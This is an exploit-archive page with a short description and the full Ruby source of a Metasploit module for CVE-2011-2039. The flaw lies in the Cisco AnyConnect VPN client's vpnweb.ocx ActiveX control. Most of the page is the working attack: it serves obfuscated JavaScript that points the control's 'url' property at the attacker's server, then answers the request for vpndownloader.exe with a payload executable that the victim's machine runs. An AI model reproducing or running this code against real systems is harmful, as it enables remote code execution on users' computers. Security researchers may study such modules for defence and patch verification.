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Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute
Posted Jun 7, 2011
Authored by bannedit | Site metasploit.com

This Metasploit module exploits a vulnerability in the Cisco AnyConnect VPN client vpnweb.ocx ActiveX control. This control is typically used to install the VPN client. An attacker can set the 'url' property which is where the control tries to locate the files needed to install the client. The control tries to download two files from the site specified within the 'url' property. One of these files it will be stored in a temporary directory and executed.

tags | exploit, activex
systems | cisco
advisories | CVE-2011-2039, OSVDB-72714
SHA-256 | ef1996fa8324f29a9b671331d440a114bd14ca14534139ba1cdb0b9541a1ba33

Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

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##
# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
'Description' => %q{
This module exploits a vulnerability in the Cisco AnyConnect VPN client
vpnweb.ocx ActiveX control. This control is typically used to install the
VPN client. An attacker can set the 'url' property which is where the control
tries to locate the files needed to install the client.

The control tries to download two files from the site specified within the
'url' property. One of these files it will be stored in a temporary directory and
executed.
},
'License' => MSF_LICENSE,
'Author' => [ 'bannedit' ],
'Version' => '$Revision: 12872 $',
'References' =>
[
[ 'CVE', '2011-2039' ],
[ 'OSVDB', '72714'],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic',
{
'Arch' => ARCH_X86
}
],
],
'DisclosureDate' => 'Jun 01 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end

def on_request_uri(cli, request)

if request.uri.match(/vpndownloader\.exe/)
exe = generate_payload_exe({:code => payload.encoded})

print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
select(nil, nil, nil, 5) # let the file download
handler(cli)
return
end

if request.uri.match(/updates\.txt/)
print_status("Client requested: #{request.uri}. Sending updates.txt")
updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
send_response(cli, updates, { 'Content-Type' => 'text/plain' })
return
end

url = get_uri(cli)

dir = rand_text_alpha((rand(40) + 1))
js = ::Rex::Exploitation::JSObfu.new %Q|
var x = document.createElement("object");
x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
x.url = "#{url}/#{dir}/";
|
js.obfuscate
html = "<html>\n\t<script>#{js}\t</script>\n</html>"
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html)
end
end
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